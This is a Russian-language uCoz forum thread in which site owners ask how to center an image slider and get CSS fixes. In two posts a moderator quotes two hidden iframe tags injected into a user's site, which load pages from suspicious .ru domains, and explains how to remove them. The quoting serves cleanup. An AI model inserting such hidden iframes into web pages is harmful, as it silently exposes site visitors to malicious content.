Страница 1 из 11
Модератор форума: Yuri_G 
Сообщество uCoz » Мастерская uCoz » Дизайн: управление шаблонами » Слайдер по центру (как сделать слайдер по середине сайта)
Слайдер по центру
Maslov85
Сообщений: 40
Репутация: 0

Сообщение # 1 | 15:50:18
Здравствуйте, друзья. Прикрепил новый слайдер, но он по левому краю. Как сделать его по центру сайта. kmt66.ru
код css

#content{float:left;width:712px;}
#banner{padding-bottom:25px;}
#banner .cnt{overflow:hidden;width:1244px;height:352px;}
#slider{width:1244px !important;height:352px;}
#slider img{border-radius:3px;width:1244px;height:352px;}
.slide-descr{width:290px;padding:15px 25px 15px 70px;}
.nivoSlider{position:relative;width:1244px !important;height:352px !important;overflow:hidden;}
.nivoSlider img{position:absolute;top:0;left:0;width:1244px !important;height:352px !important;}
.nivo-main-image{display:block !important;position:relative !important;width:100% !important;}
.nivoSlider a.nivo-imageLink{position:absolute;top:0;left:0;width:100%;height:100%;border:0;padding:0;margin:0;z-index:6;display:none;}
.nivo-slice{display:block;position:absolute;z-index:5;height:100%;top:0;}
.nivo-box{display:block;position:absolute;z-index:5;overflow:hidden;}
.nivo-box img{display:block;}
.nivo-caption{position:absolute;top:100px;left:0;background:#FFFFFF;z-index:8;opacity:0.93;overflow:hidden;display:none;-moz-opacity:0.93;filter:alpha(opacity=9);-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border-top:3px solid rgba(0, 0, 0, 0.10);border-right:3px solid rgba(0, 0, 0, 0.10);border-bottom:3px solid rgba(0, 0, 0, 0.1);border-radius:0 5px 5px 0;}
.nivo-caption p{padding:5px;margin:0;}
.nivo-caption a{display:inline !important;}
.nivo-html-caption{display:none;}
.nivo-directionNav a{position:absolute;top:45%;z-index:9;cursor:pointer;display:block;text-indent:-9999px;width:39px;height:39px;background-image:url('/img/next-prew.png');}
.nivo-prevNav{left:10px;}
.nivo-nextNav{right:10px;background-position:bottom;}
.nivo-controlNav{text-align:center;padding:15px 0;}
.nivo-controlNav a{cursor:pointer;}
.nivo-controlNav a.active{font-weight:700;}
.slide-descr{width:290px;padding:15px 25px 15px 70px;}
.slide-descr h1{margin:0;padding:0;font-family:"Myriad Pro", "Arial";font-weight:normal;font-size:18px;text-transform:uppercase;color:#1E1E1E;}
.slide-mes{line-height:16px;padding:15px 0;}
.slide-descr i a{line-height:12px;color:#363636;padding-left:12px;background:url('/img/marker.png') left no-repeat;}
.section{margin-bottom:25px;

Добавлено (12 Апр 2016, 15:50:18)
---------------------------------------------
Изменить значение #slider или nivoSlider.? эх. тяжело когда плохо понимаешь))

Сообщение отредактировал Maslov7470 - Вторник, 12 Апр 2016, 15:49:54
killbit
Сообщений: 317
Репутация: 104

Сообщение # 2 | 18:12:14
Попробуйте
margin-left: auto;
margin-right: auto;
Код
#banner .cnt {
    overflow: hidden;
    width: 1244px;
    height: 352px;
    margin-left: auto;
    margin-right: auto;
}
Сообщение отредактировал killbit - Вторник, 12 Апр 2016, 18:12:48
Maslov85
Сообщений: 40
Репутация: 0

Сообщение # 3 | 19:35:23
УРААА Работает!. Спасибо, хороший человек, killbit. Напиши в личку свой номер телефона. я положу сто рублей).
eakudrina
Сообщений: 3
Репутация: 0

Сообщение # 4 | 15:37:13
удалено

Добавлено (03 Дек 2016, 15:37:13)
---------------------------------------------
как поставить этот слайдер по серидине
Сообщение отредактировал webanet - Суббота, 03 Дек 2016, 16:09:45
webanet
Личный менеджер
Сообщений: 23222
Репутация: 4879

Сообщение # 5 | 16:10:39
eakudrina, предоставьте адрес сайта, где он уже установлен. но лучше всего спрашивать там где нашли

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
eakudrina
Сообщений: 3
Репутация: 0

Сообщение # 6 | 16:18:19
http://ivannikovaea.ucoz.ru
webanet
Личный менеджер
Сообщений: 23222
Репутация: 4879

Сообщение # 7 | 16:28:14
eakudrina, на какой странице искать слайдер?
ваш сайт заражен. панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставить по очереди
это
Код
<iframe id="a1996667054" src="https://su2lgyoeucscn.ru/f2.html?a=27894" style="display: none;"></iframe>

и это
Код
<iframe id="a754394637" src="https://doiuhrht.ru/u.html?a=27894" style="display: none;"></iframe>

в поле на что заменить ничего не прописывать и произвести замену во всех модулях. далее проверьте и лучше переустановите полностью свой браузер. это он оставляет вредоносный код в хтмл режиме
в коде, который вы тут выставили тоже были признаки вредоносного кода

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
eakudrina
Сообщений: 3
Репутация: 0

Сообщение # 8 | 16:34:44
Мне надо чтоб просто слайдер полностью стоял по центру а не слевой стороны
webanet
Личный менеджер
Сообщений: 23222
Репутация: 4879

Сообщение # 9 | 16:36:34
eakudrina, вы прочитали мое сообщение? на какой странице искать установленный слайдер?
ваш сайт заражен. панель управления - дизайн - управление дизайном - быстрая замена - в поле что заменить вставить по очереди
это
Код
<iframe id="a1996667054" src="https://su2lgyoeucscn.ru/f2.html?a=27894" style="display: none;"></iframe>


и это
Код
<iframe id="a754394637" src="https://doiuhrht.ru/u.html?a=27894" style="display: none;"></iframe>


в поле на что заменить ничего не прописывать и произвести замену во всех модулях. далее проверьте и лучше переустановите полностью свой браузер. это он оставляет вредоносный код в хтмл режиме
в коде, который вы тут выставили тоже были признаки вредоносного кода

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
An_drey_89
Сообщений: 1
Репутация: 0

Сообщение # 10 | 22:24:07
Здравствуйте, друзья. Прикрепил новый слайдер, но он по левому краю. Как сделать его по центру сайта. http://prikubschool8.ucoz.ru/
код css
<style type="text/css">#content {
/* Ширина слайдера */
width:758px;
margin-left: auto;
margin-right: auto;
}
.slider {
float:left;
/* Ширина слайдера */
width:758px;margin-left: auto;
margin-right: auto;
/* Высота слайдера */
height:440px;margin-left: auto;
margin-right: auto;
position:relative;
padding-bottom:26px;
background:url(http://delaisait.ucoz.ru/img/1/1/dsslider/bottom_shadow.png) no-repeat bottom center;
}
.sliderContent {
float:left;
/* Ширина слайдера */
width:758px;margin-left: auto;
margin-right: auto;
/* Высота слайдера */
height:440px;margin-left: auto;
margin-right: auto;
clear:both;
position:relative;
overflow:hidden;
}
.sliderArrows a {
display:block;
text-indent:-9999px;
outline:none;
z-index:50;
background-image:url(http://delaisait.ucoz.ru/img/1/1/dsslider/prev_next.png);
width:42px;
height:42px;
position:absolute;
top:50%;
margin-top:-34px;
}
.prev {
background-position:0 0;
left:15px;
}
.prev:hover {
background-position:0 -44px;
}
.next {
right:15px;
background-position:-44px 0;
}
.next:hover {
background-position:-44px -44px;
}
.sliderContent .item {
position:absolute;
/* Ширина слайдера */
width:758px;
/* Высота слайдера */
height:440px;
background:#fff;
}
.sliderBullets {
position:absolute;
bottom:0;
left:50%;
z-index:50;
margin-left:-45px;
}
.sliderBullets a {
display:block;
float:left;
text-indent:-9999px;
outline:none;
margin-left:5px;
width:10px;
height:11px;
background:url(http://delaisait.ucoz.ru/img/1/1/dsslider/bullets.png) no-repeat;
}
.sliderBullets .active {
background-position:0 -11px;
}
.sliderContent a {
outline:none;
}
</style>
<p> </p>

<div class="slider dsslider">
<div class="sliderContent">
<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG-20171017-WA0016.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG_9933.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG_4066.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG_1022.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG_9949.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/DSCF2598.jpg" width="758" /></div>

<div class="item"><img alt="" height="440" src="http://prikubschool8.ucoz.ru/slider/IMG_1023.jpg" width="758" /></div>
</div>
</div>
<script src="http://delaisait.ucoz.ru/js/jQuery/mobilyslider.js" type="text/javascript">
</script><script type="text/javascript">
$('.dsslider').mobilyslider({
// Тип воспроизведения (vertical) или удалить всю строку
transition: 'fade',
// Скорость перелистывания
animationSpeed: 800,
// Автовоспроизведение включено
autoplay: true,
// Скорость автовоспроизведения
autoplaySpeed: 3000,
// Остановка во время наведения курсора (false)
pauseOnHover: true,
// Показывать кнопки вперёд назад (false)
bullets: true,
// Показывать нижние кнопки управления (false)
arrowsHide: true
});
</script>

<p style="text-align: center;"> </p>

<p style="text-align: center;"> </p>

<p style="text-align: center;"> </p>

<p style="text-align: center;"> </p>

<p style="text-align: center;"><img alt="" src="/logotipjubilejkk_8-kazak2.jpg" style="width: 305px; height: 314px;" /></p>

<p style="text-align: center;"><img alt="" src="/ank.jpg" style="width: 250px; height: 126px;" /> <img alt="" src="/kcdik.jpg" style="width: 250px; height: 126px;" /></p>

<p style="text-align: right;">[ <a href="$ADD_ENTRY_LINK$">Добавить новость</a> ]</p>

<p>$LAST_NEWS$</p> помогите пожалуйста
Sentimo
Сообщений: 674
Репутация: 155

Сообщение # 11 | 11:07:01
An_drey_89, Удалите красное.

.slider {
float:left;
/* Ширина слайдера */
width:758px;margin-left: auto;
margin-right: auto;
/* Высота слайдера */
height:440px;margin-left: auto;
margin-right: auto;
position:relative;
padding-bottom:26px;
background:url(http://delaisait.ucoz.ru/img/1/1/dsslider/bottom_shadow.png) no-repeat bottom center;
}
Сообщество uCoz » Мастерская uCoz » Дизайн: управление шаблонами » Слайдер по центру (как сделать слайдер по середине сайта)
Страница 1 из 11
Поиск: